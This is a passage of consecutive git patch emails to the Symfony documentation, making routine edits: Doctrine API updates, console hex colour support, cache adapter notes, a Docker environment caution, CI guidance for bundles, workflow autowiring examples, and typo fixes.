 
 You can run a process by using a prepared command line with double quote
 variable notation. This allows you to use placeholders so that only the
-parameterized values can be changed, but not the rest of the script:
+parameterized values can be changed, but not the rest of the script::
 
     use Symfony\Component\Process\Process;
 

From d8658352e0cc152aa3ec1f5c9e006a3a1c54ca3f Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 29 Oct 2020 15:34:43 +0100
Subject: [PATCH 0075/5766] Update doctrine fetchAll deprecated

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index eab24ae8f13..fb491df8c2b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -812,7 +812,7 @@ In addition, you can query directly with SQL if you need to::
         $stmt->execute(['price' => $price]);
 
         // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAll();
+        return $stmt->fetchAllAssociative();
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_

From 64058aa3c6a3da18112ac9d92e638137490783c0 Mon Sep 17 00:00:00 2001
From: freezy <marek.viger@gmail.com>
Date: Wed, 28 Oct 2020 14:15:13 +0100
Subject: [PATCH 0076/5766] Mention supported hex colors

---
 console/coloring.rst | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 3684d71709d..913805b5cea 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -40,13 +40,22 @@ It is possible to define your own styles using the
     use Symfony\Component\Console\Formatter\OutputFormatterStyle;
 
     // ...
-    $outputStyle = new OutputFormatterStyle('red', 'yellow', ['bold', 'blink']);
+    $outputStyle = new OutputFormatterStyle('red', '#ff0', ['bold', 'blink']);
     $output->getFormatter()->setStyle('fire', $outputStyle);
 
     $output->writeln('<fire>foo</>');
 
-Available foreground and background colors are: ``black``, ``red``, ``green``,
-``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+
+.. versionadded:: 5.2
+
+    True (hex) color support was introduced in Symfony 5.2
+
+.. note::
+
+    If the terminal doesn't support true colors, the nearest named color is used.
+    E.g. ``#c0392b`` is degraded to ``red`` or ``#f1c40f`` is degraded to ``yellow``.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors
@@ -59,6 +68,9 @@ You can also set these colors and options directly inside the tag name::
     // green text
     $output->writeln('<fg=green>foo</>');
 
+    // red text
+    $output->writeln('<fg=#c0392b>foo</>');
+
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From 24312cb7292bf9f3aceefbf7f8c4ec9c68ee7b02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andre=CC=81=20R?= <ar@ez.no>
Date: Wed, 28 Oct 2020 15:37:11 +0100
Subject: [PATCH 0077/5766] [Cache] Adds mention of using
 FileSystemTagAwareAdatpter

---
 components/cache/adapters/filesystem_adapter.rst | 13 +++++++++++++
 components/cache/cache_invalidation.rst          |  3 ++-
 2 files changed, 15 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 33097fbd202..3939d5f568f 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -55,5 +55,18 @@ and cache root path as constructor parameters::
     :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
+
+.. _filesystem-tag-aware-adapter:
+
+Working with Tags
+-----------------
+
+In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`. Since tag invalidation logic is implemented using links on filesystem, this adapter offers better read performance when using tag-based invalidation::
+
+    use Symfony\Component\Cache\Adapter\FilesystemTagAwareAdapter;
+
+    $cache = new FilesystemTagAwareAdapter();
+
+
 .. _`tmpfs`: https://wiki.archlinux.org/index.php/tmpfs
 .. _`RAM disk solutions`: https://en.wikipedia.org/wiki/List_of_RAM_drive_software
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 22f5830cf3e..084cee4cb70 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -61,7 +61,8 @@ method.
 .. note::
 
     When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>`
-    which is optimized for this purpose.
+    which is optimized for this purpose. When using File system, likewise consider to use
+    :ref:`FilesystemTagAwareAdapter <filesystem-tag-aware-adapter>`.
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements
 instantaneous invalidation (time complexity is ``O(N)`` where ``N`` is the number

From 34a16a8624c6ae61cda9b974ee2146f05ca36040 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 13:47:57 +0100
Subject: [PATCH 0078/5766] Fix: Typo

---
 components/cache/cache_invalidation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index 084cee4cb70..bef2c29b0b7 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -61,7 +61,7 @@ method.
 .. note::
 
     When using a Redis backend, consider using :ref:`RedisTagAwareAdapter <redis-tag-aware-adapter>`
-    which is optimized for this purpose. When using File system, likewise consider to use
+    which is optimized for this purpose. When using filesystem, likewise consider to use
     :ref:`FilesystemTagAwareAdapter <filesystem-tag-aware-adapter>`.
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter` class implements

From 5cd490de3d32acf820be5f3bbd18457ce631336e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 13:48:58 +0100
Subject: [PATCH 0079/5766] Fix: Add line breaks

---
 components/cache/adapters/filesystem_adapter.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 3939d5f568f..c4db3a7fb76 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -61,7 +61,11 @@ and cache root path as constructor parameters::
 Working with Tags
 -----------------
 
-In order to use tag-based invalidation, you can wrap your adapter in :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`. Since tag invalidation logic is implemented using links on filesystem, this adapter offers better read performance when using tag-based invalidation::
+In order to use tag-based invalidation, you can wrap your adapter in
+:class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`, but it's often
+more interesting to use the dedicated :class:`Symfony\\Component\\Cache\\Adapter\\FilesystemTagAwareAdapter`.
+Since tag invalidation logic is implemented using links on filesystem, this
+adapter offers better read performance when using tag-based invalidation::
 
     use Symfony\Component\Cache\Adapter\FilesystemTagAwareAdapter;
 

From ace5e3a8cc5b984b53a699a4e16e413dad084ccc Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 9 Oct 2020 10:31:46 +0200
Subject: [PATCH 0080/5766] Add warning on Docker integration

---
 setup/symfony_server.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 70155de0637..a8374aaca4a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -378,6 +378,16 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
+.. caution::
+
+    When using Symfony binary with ``php bin/console`` (``symfony console ...``)
+    the binay will **always** use environment variables detected via Docker and will
+    ignore local environment variables.
+    For example if you set up a different database name in your ``.env.test`` file
+    (``DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/test``) and if you run
+    ``symfony console doctrine:database:drop --force --env=test`` the command will drop the database
+    defined in your Docker configuration and not the "test" one.
+
 SymfonyCloud Integration
 ------------------------
 

From 8d1614e2e2c4a3ec22b9ca91cb7ad48b8ec14f6e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Oct 2020 14:01:09 +0100
Subject: [PATCH 0081/5766] Enhancement: Private member variables in code
 example

---
 create_framework/separation_of_concerns.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index e1e46f3ebe3..24d34f0e82b 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -27,9 +27,9 @@ request handling logic into its own ``Simplex\Framework`` class::
 
     class Framework
     {
-        protected $matcher;
-        protected $controllerResolver;
-        protected $argumentResolver;
+        private $matcher;
+        private $controllerResolver;
+        private $argumentResolver;
 
         public function __construct(UrlMatcher $matcher, ControllerResolver $controllerResolver, ArgumentResolver $argumentResolver)
         {

From ae45622a92dfd8bd8b206a2c0f70e0310481d702 Mon Sep 17 00:00:00 2001
From: Ca-Jou <camille.jouan@blackfire.io>
Date: Wed, 28 Oct 2020 16:30:54 +0100
Subject: [PATCH 0082/5766] =?UTF-8?q?spotted=20minor=20EN=20mistakes=20and?=
 =?UTF-8?q?=20coherence=20issues=20between=20the=20different=20=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 create_framework/dependency_injection.rst            | 2 +-
 create_framework/event_dispatcher.rst                | 2 +-
 create_framework/front_controller.rst                | 2 +-
 create_framework/http_foundation.rst                 | 4 ++--
 create_framework/http_kernel_controller_resolver.rst | 2 +-
 create_framework/http_kernel_httpkernelinterface.rst | 7 ++++---
 6 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index b38241e3ce2..cd20a947251 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -205,7 +205,7 @@ Now, here is how you can register a custom listener in the front controller::
         ->addMethodCall('addSubscriber', [new Reference('listener.string_response')])
     ;
 
-Beside describing your objects, the dependency injection container can also be
+Besides describing your objects, the dependency injection container can also be
 configured via parameters. Let's create one that defines if we are in debug
 mode or not::
 
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index fd655a93ebf..bf872a5bb50 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -23,7 +23,7 @@ version of this pattern:
 How does it work? The *dispatcher*, the central object of the event dispatcher
 system, notifies *listeners* of an *event* dispatched to it. Put another way:
 your code dispatches an event to the dispatcher, the dispatcher notifies all
-registered listeners for the event, and each listener do whatever it wants
+registered listeners for the event, and each listener does whatever it wants
 with the event.
 
 As an example, let's create a listener that transparently adds the Google
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 39286ba8c16..e6a7293fa6b 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -132,7 +132,7 @@ its sub-directories (only if needed -- see above tip).
     like ``$request = Request::create('/hello?name=Fabien');`` where the
     argument is the URL path you want to simulate.
 
-Now that the web server always access the same script (``front.php``) for all
+Now that the web server always accesses the same script (``front.php``) for all
 pages, we can secure the code further by moving all other PHP files outside the
 web root directory:
 
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index b56834319a8..99dff5c1faf 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -273,7 +273,7 @@ cases by yourself. Why not using a technology that already works?
     a look at the ``Symfony\Component\HttpFoundation`` API or read
     its dedicated :doc:`documentation </components/http_foundation>`.
 
-Believe or not but we have our first framework. You can stop now if you want.
+Believe it or not but we have our first framework. You can stop now if you want.
 Using just the Symfony HttpFoundation component already allows you to write
 better and more testable code. It also allows you to write code faster as many
 day-to-day problems have already been solved for you.
@@ -282,7 +282,7 @@ As a matter of fact, projects like Drupal have adopted the HttpFoundation
 component; if it works for them, it will probably work for you. Don't reinvent
 the wheel.
 
-I've almost forgot to talk about one added benefit: using the HttpFoundation
+I've almost forgotten to talk about one added benefit: using the HttpFoundation
 component is the start of better interoperability between all frameworks and
 `applications using it`_ (like `Symfony`_, `Drupal 8`_, `phpBB 3`_, `Laravel`_
 and `ezPublish 5`_,  and `more`_).
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index bac631073e6..12d9efead6e 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -31,7 +31,7 @@ The move is pretty straightforward and makes a lot of sense as soon as you
 create more pages but you might have noticed a non-desirable side effect...
 The ``LeapYearController`` class is *always* instantiated, even if the
 requested URL does not match the ``leap_year`` route. This is bad for one main
-reason: performance wise, all controllers for all routes must now be
+reason: performance-wise, all controllers for all routes must now be
 instantiated for every request. It would be better if controllers were
 lazy-loaded so that only the controller associated with the matched route is
 instantiated.
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index 9207ba342b0..9bda9e5c731 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -46,8 +46,8 @@ Update your framework so that it implements this interface::
         }
     }
 
-Even if this change looks not too complex, it brings us a lot! Let's talk about one of
-the most impressive one: transparent :doc:`HTTP caching </http_cache>` support.
+With this change, a little goes a long way! Let's talk about one of
+the most impressive upsides: transparent :doc:`HTTP caching </http_cache>` support.
 
 The ``HttpCache`` class implements a fully-featured reverse proxy, written in
 PHP; it implements ``HttpKernelInterface`` and wraps another
@@ -64,7 +64,8 @@ PHP; it implements ``HttpKernelInterface`` and wraps another
         new HttpKernel\HttpCache\Store(__DIR__.'/../cache')
     );
 
-    $framework->handle($request)->send();
+    $response = $framework->handle($request);
+    $response->send();
 
 That's all it takes to add HTTP caching support to our framework. Isn't it
 amazing?

From f746ec156d528b76e69872d31e2101232b56af5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Oct 2020 16:54:28 +0100
Subject: [PATCH 0083/5766] [Performance] Mention Symfony Stowatch in some doc
 sections

---
 performance.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/performance.rst b/performance.rst
index ec9d44e5610..65859141433 100644
--- a/performance.rst
+++ b/performance.rst
@@ -211,21 +211,24 @@ deployment process too):
 
 .. _profiling-applications:
 
-Profiling Applications
-----------------------
+Profiling Symfony Applications
+------------------------------
+
+Profiling with Blackfire
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
 but provides free features that you can use to find bottlenecks in your projects.
 
+Profilwing with Symfony Stopwatch
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 Symfony provides a basic performance profiler in the development
 :ref:`config environment <configuration-environments>`. Click on the "time panel"
 of the :ref:`web debug toolbar <web-debug-toolbar>` to see how much time Symfony
 spent on tasks such as making database queries and rendering templates.
 
-Custom Profiling
-~~~~~~~~~~~~~~~~
-
 You can measure the execution time and memory consumption of your own code and
 display the result in the Symfony profiler thanks to the `Stopwatch component`_.
 

From 950f2552731f63827330b65abe4f2944d12a921f Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 9 Jun 2020 21:48:07 +0200
Subject: [PATCH 0084/5766] add _failure_path option to reference

---
 reference/configuration/security.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 9c7f5da8755..399794e2402 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -528,6 +528,14 @@ target_path_parameter
 When using a login form, if you include an HTML element to set the target path,
 this option lets you change the name of the HTML element itself.
 
+failure_path_parameter
+......................
+
+**type**: ``string`` **default**: ``_failure_path``
+
+When using a login form, if you include an HTML element to set the failure path,
+this option lets you change the name of the HTML element itself.
+
 use_referer
 ...........
 

From 53abe31aae73f39a68bd13d81c581b4389ab9a2c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 31 Oct 2020 22:57:24 +0100
Subject: [PATCH 0085/5766] Use Symfony Flex and do not favor any CI tool

---
 bundles/best_practices.rst | 124 ++++++++++++++++---------------------
 1 file changed, 55 insertions(+), 69 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e80050e2fce..010ba551832 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -171,73 +171,59 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects. The most popular
-service for Symfony bundles is called `Travis CI`_.
-
-Here is the recommended configuration file (``.travis.yml``) for Symfony bundles,
-which test the two latest :doc:`LTS versions </contributing/community/releases>`
-of Symfony and the latest beta release:
-
-.. code-block:: yaml
-
-    language: php
-
-    cache:
-        directories:
-            - $HOME/.composer/cache/files
-            - $HOME/symfony-bridge/.phpunit
-
-    env:
-        global:
-            - PHPUNIT_FLAGS="-v"
-            - SYMFONY_PHPUNIT_DIR="$HOME/symfony-bridge/.phpunit"
-
-    matrix:
-        fast_finish: true
-        include:
-              # Minimum supported dependencies with the latest and oldest PHP version
-            - php: 7.2
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-            - php: 7.1
-              env: COMPOSER_FLAGS="--prefer-stable --prefer-lowest" SYMFONY_DEPRECATIONS_HELPER="max[self]=0"
-
-              # Test the latest stable release
-            - php: 7.1
-            - php: 7.2
-              env: COVERAGE=true PHPUNIT_FLAGS="-v --coverage-text"
-
-              # Test LTS versions. This makes sure we do not use Symfony packages with version greater
-              # than 2 or 3 respectively. Read more at https://github.com/symfony/lts
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^2"
-            - php: 7.2
-              env: DEPENDENCIES="symfony/lts:^3"
-
-              # Latest commit to master
-            - php: 7.2
-              env: STABILITY="dev"
-
-        allow_failures:
-              # Dev-master is allowed to fail.
-            - env: STABILITY="dev"
-
-    before_install:
-        - if [[ $COVERAGE != true ]]; then phpenv config-rm xdebug.ini || true; fi
-        - if ! [ -z "$STABILITY" ]; then composer config minimum-stability ${STABILITY}; fi;
-        - if ! [ -v "$DEPENDENCIES" ]; then composer require --no-update ${DEPENDENCIES}; fi;
-
-    install:
-        - composer update ${COMPOSER_FLAGS} --prefer-dist --no-interaction
-        - ./vendor/bin/simple-phpunit install
-
-    script:
-        - composer validate --strict --no-check-lock
-        # simple-phpunit is the PHPUnit wrapper provided by the PHPUnit Bridge component and
-        # it helps with testing legacy code and deprecations (composer require symfony/phpunit-bridge)
-        - ./vendor/bin/simple-phpunit $PHPUNIT_FLAGS
-
-Consider using the `Travis cron`_ tool to make sure your project is built even if
-there are no new pull requests or commits.
+providing this feature for free for open source projects, like `GitHub Actions`_
+and `Travis CI`_.
+
+A bundle should at least test:
+
+* The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
+* The supported PHP versions;
+* All supported major Symfony versions (e.g. both ``3.x`` and ``4.x`` if
+  support is claimed for both).
+
+Thus, a bundle support PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+have at least this test matrix:
+
+===========  ===============  ===================
+PHP version  Symfony version  Composer flags
+===========  ===============  ===================
+7.3          ``3.*``          ``--prefer-lowest``
+7.4          ``4.*``
+8.0          ``4.*``
+===========  ===============  ===================
+
+.. tip::
+
+    The tests should be run with the ``SYMFONY_DEPRECATIONS_HELPER``
+    env variable set to ``max[direct]=0``. This ensures no code in the
+    bundle uses deprecated features directly.
+
+    The lowest dependency tests can be run with this variable set to
+    ``disabled=1``.
+
+Require a Specific Symfony Version
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can use the special ``SYMFONY_REQUIRE`` environment variable together
+with Symfony Flex to install a specific Symfony version:
+
+.. code-block:: bash
+
+    # this requires Symfony 5.x for all Symfony packages
+    export SYMFONY_REQUIRE=5.*
+
+    # install Symfony Flex in the CI environment
+    composer global require --no-progress --no-scripts --no-plugins symfony/flex
+
+    # install the dependencies (using --prefer-dist and --no-progress is
+    # recommended to have a better output and faster download time)
+    composer update --prefer-dist --no-progress
+
+.. caution::
+
+    If you want to cache your Composer dependencies, **do not** cache the
+    ``vendor/`` directory as this has side-effects. Instead cache
+    ``$HOME/.composer/cache/files``.
 
 Installation
 ------------
@@ -529,5 +515,5 @@ Learn more
 .. _`Packagist`: https://packagist.org/
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
-.. _`Travis CI`: https://travis-ci.org/
-.. _`Travis cron`: https://docs.travis-ci.com/user/cron-jobs/
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`Travis CI`: https://docs.travis-ci.com/

From 50dfc9097da5fe075e353bc95c1b609dd484a0f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 19 May 2020 16:51:17 +0200
Subject: [PATCH 0086/5766] Update form_customization.rst

---
 form/bootstrap4.rst         | 2 ++
 form/form_customization.rst | 5 +++++
 2 files changed, 7 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index cc19dd2f8c9..e96db1afb3b 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,6 +77,8 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
+.. _reference-forms-bootstrap-error-messages:
+
 Error Messages
 --------------
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3094eb08f40..9c4a32919f2 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -255,6 +255,11 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
+.. caution::
+
+    In the Bootstrap 4 form theme, ``form_errors()`` is already included
+    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+
 .. _reference-forms-twig-widget:
 
 form_widget(form_view, variables)

From cb1a140e0ff208e0b5d78786e7918d18e255c26e Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Fri, 28 Aug 2020 23:28:38 +0200
Subject: [PATCH 0087/5766] Clarify how workflow can be injected

---
 workflow.rst | 61 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 43 insertions(+), 18 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 3ca81fbea6c..7f7acffaa3a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -236,28 +236,28 @@ what actions are allowed on a blog post::
 Accessing the Workflow in a Class
 ---------------------------------
 
-To access workflow inside a class, use dependency injection and inject the
-registry in the constructor::
+You can use the workflow inside a class by using
+:doc:`service autowiring </service_container/autowiring>` and using
+``camelCased workflow name + Workflow`` as parameter name::
 
     use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\WorkflowInterface;
 
     class MyClass
     {
-        private $workflowRegistry;
+        private $blogPublishingWorkflow;
 
-        public function __construct(Registry $workflowRegistry)
+        // this injects the blog_publishing workflow configured before
+        public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
-            $this->workflowRegistry = $workflowRegistry;
+            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
         }
 
         public function toReview(BlogPost $post)
         {
-            $workflow = $this->workflowRegistry->get($post);
-
             // Update the currentState on the post
             try {
-                $workflow->apply($post, 'to_review');
+                $this->blogPublishingWorkflow->apply($post, 'to_review');
             } catch (LogicException $exception) {
                 // ...
             }
@@ -265,6 +265,33 @@ registry in the constructor::
         }
     }
 
+Alternatively, use the registry::
+
+    use App\Entity\BlogPost;
+    use Symfony\Component\Workflow\Registry;
+
+    class MyClass
+    {
+        private $workflowRegistry;
+
+        public function __construct(Registry $workflowRegistry)
+        {
+            $this->workflowRegistry = $workflowRegistry;
+        }
+
+        public function toReview(BlogPost $post)
+        {
+            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
+
+            // ...
+        }
+    }
+
+.. tip::
+
+    You can find the list of available workflow services with the
+    ``php bin/console debug:autowiring workflow`` command.
+
 Using Events
 ------------
 
@@ -829,25 +856,23 @@ Then you can access this metadata in your controller as follows::
 
     // src/App/Controller/BlogPostController.php
     use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\WorkflowInterface;
     // ...
 
-    public function myAction(Registry $registry, BlogPost $post)
+    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post)
     {
-        $workflow = $registry->get($post);
-
-        $title = $workflow
+        $title = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getWorkflowMetadata()['title'] ?? 'Default title'
         ;
 
-        $maxNumOfWords = $workflow
+        $maxNumOfWords = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getPlaceMetadata('draft')['max_num_of_words'] ?? 500
         ;
 
-        $aTransition = $workflow->getDefinition()->getTransitions()[0];
-        $priority = $workflow
+        $aTransition = $blogPublishingWorkflow->getDefinition()->getTransitions()[0];
+        $priority = $blogPublishingWorkflow
             ->getMetadataStore()
             ->getTransitionMetadata($aTransition)['priority'] ?? 0
         ;
@@ -870,7 +895,7 @@ In a :ref:`flash message <flash-messages>` in your controller::
 
     // $transition = ...; (an instance of Transition)
 
-    // $workflow is a Workflow instance retrieved from the Registry (see above)
+    // $workflow is a Workflow instance retrieved from the Registry or injected directly (see above)
     $title = $workflow->getMetadataStore()->getMetadata('title', $transition);
     $this->addFlash('info', "You have successfully applied the transition with title: '$title'");
 

From 104c8f01ee465fe9b95553504d8c115d64799bf5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 1 Nov 2020 14:37:17 +0100
Subject: [PATCH 0088/5766] Update routing.rst

Fixing argument number. Function signature is:
```php
final public function import($resource, string $type = null, bool $ignoreErrors = false, $exclude = null): ImportConfigurator
```
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 5aaebf659cd..d88ebb773a5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1243,7 +1243,7 @@ the common configuration using options when importing the routes.
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            // use the optional fifth argument of import() to exclude some files
+            // use the optional fourth argument of import() to exclude some files
             // or subdirectories when loading annotations
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs

From e62f4c73b4458bc3f485ebf067d14b5a3fb528cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Nov 2020 09:24:49 +0100
Subject: [PATCH 0089/5766] -

---
 performance.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 65859141433..de0d7883a04 100644
--- a/performance.rst
+++ b/performance.rst
@@ -221,8 +221,8 @@ Profiling with Blackfire
 applications during development, test and production. It's a commercial service,
 but provides free features that you can use to find bottlenecks in your projects.
 
-Profilwing with Symfony Stopwatch
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Profiling with Symfony Stopwatch
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Symfony provides a basic performance profiler in the development
 :ref:`config environment <configuration-environments>`. Click on the "time panel"

From 953845cddc63f9a12a54fff135fff7a9485bdb78 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 2 Nov 2020 13:57:47 +0100
Subject: [PATCH 0090/5766] some minor tweaks

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index a8374aaca4a..0f4d88904d6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -380,12 +380,12 @@ its location, same as for ``docker-compose``:
 
 .. caution::
 
-    When using Symfony binary with ``php bin/console`` (``symfony console ...``)
-    the binay will **always** use environment variables detected via Docker and will
+    When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
+    the binary will **always** use environment variables detected via Docker and will
     ignore local environment variables.
     For example if you set up a different database name in your ``.env.test`` file
     (``DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/test``) and if you run
-    ``symfony console doctrine:database:drop --force --env=test`` the command will drop the database
+    ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
 SymfonyCloud Integration

From 8cdbb3935bf9b42428f97583d2a1e2d73a96d7e0 Mon Sep 17 00:00:00 2001
From: Ilya Bakhlin <github@ilyabakhlin.com>
Date: Tue, 3 Nov 2020 08:49:36 +0100
Subject: [PATCH 0091/5766] Updating the Installer Related Instructions

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

